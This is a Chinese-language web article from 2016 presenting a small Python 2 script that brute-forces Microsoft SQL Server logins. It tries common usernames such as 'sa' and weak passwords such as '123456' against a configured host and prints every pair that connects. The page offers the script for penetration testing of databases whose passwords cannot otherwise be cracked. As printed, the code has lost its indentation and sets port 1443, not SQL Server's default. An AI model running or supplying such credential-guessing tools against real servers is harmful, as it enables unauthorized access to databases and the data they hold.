Python版Mssql爆破小腳本
更新時(shí)間：2016年10月16日 20:23:00 投稿：hebedich
本文給大家分享的是使用Python實(shí)現(xiàn)的暴力破解mssql用戶密碼的腳本的代碼，配合上合適的字典非常好用，有需要的小伙伴可以參考下
Mssql Python版本爆破小腳本，需要安裝 MSSQL-python.exe 可以看出代碼量很少，用法：保存代碼為MssqlDatabaseBlasting.py，cmd切換到 MssqlDatabaseBlasting.py路徑下，并 執(zhí)行 MssqlDatabaseBlasting.py即可開(kāi)始破解
import pymssql
common_weak_password = ('','123456','test','root','admin','user')#密碼字典
mssql_username = ('sa', 'test', 'admin', 'mssql')#賬號(hào)字典
success = False
host = "127.0.0.1"#數(shù)據(jù)庫(kù)IP地址
port = 1443
for username in mssql_username:
for password in common_weak_password:
try:
db = pymssql.connect(server=host, port=port, user=username, password=password)
success = True
if success:
print username, password
except Exception, e:
pass
說(shuō)明：看到很多網(wǎng)絡(luò)安全愛(ài)好者，在進(jìn)行滲透測(cè)試的時(shí)候，遇到數(shù)據(jù)庫(kù)可以遠(yuǎn)程管理，但是無(wú)法破解其賬號(hào)密碼，所以此篇文章就推送幾個(gè)腳本進(jìn)行滲透。
相關(guān)文章
如何創(chuàng)建SQL Server 2000故障轉(zhuǎn)移群集
如何創(chuàng)建SQL Server 2000故障轉(zhuǎn)移群集...2007-01-01
這篇文章主要介紹了SQL中的group by 和 having 用法淺析，需要的的朋友參考下吧2017-08-08
sqlserver數(shù)據(jù)庫(kù)最大Id沖突問(wèn)題解決方法之一
在一個(gè)特定的表中保存最大Id,通過(guò)記錄來(lái)取每次的唯一最大值2011-12-12
SQL Server使用row_number分頁(yè)的實(shí)現(xiàn)方法
這篇文章主要為大家詳細(xì)介紹了SQL Server使用row_number分頁(yè)的實(shí)現(xiàn)方法，具有一定的參考價(jià)值，感興趣的朋友可以參考一下2016-06-06
SQLServer中有三個(gè)關(guān)鍵字可以修改比較運(yùn)算符：All、Any和Some，其中Some和Any等價(jià)。2009-08-08
報(bào)錯(cuò)注入就是利用了數(shù)據(jù)庫(kù)的某些機(jī)制,人為地制造錯(cuò)誤條件,使得查詢結(jié)果能夠出現(xiàn)在錯(cuò)誤信息中,主要介紹了SQL注入之報(bào)錯(cuò)注入的具體使用,感興趣的可以了解一下2023-08-08
這篇文章主要介紹了SQL Server索引超出了數(shù)組界限的解決方案，具有很好的參考價(jià)值，希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧2021-03-03
sqlserver中根據(jù)字符分割字符串的最好的寫法分享
因數(shù)據(jù)庫(kù)中保存的是以,號(hào)分隔的數(shù)據(jù)，需要在界面上以表格的方式顯示出來(lái)。特想出以下方法2012-05-05
sqlserver 多表查詢不同數(shù)據(jù)庫(kù)服務(wù)器上的表
sqlserver中多表查詢不同數(shù)據(jù)庫(kù)服務(wù)器上的表的實(shí)現(xiàn)方法，需要的朋友可以參考下2012-04-04
過(guò)程需要參數(shù) ''@statement'' 為 ''ntext/nchar/nvarchar'' 類型
過(guò)程需要參數(shù)2009-04-04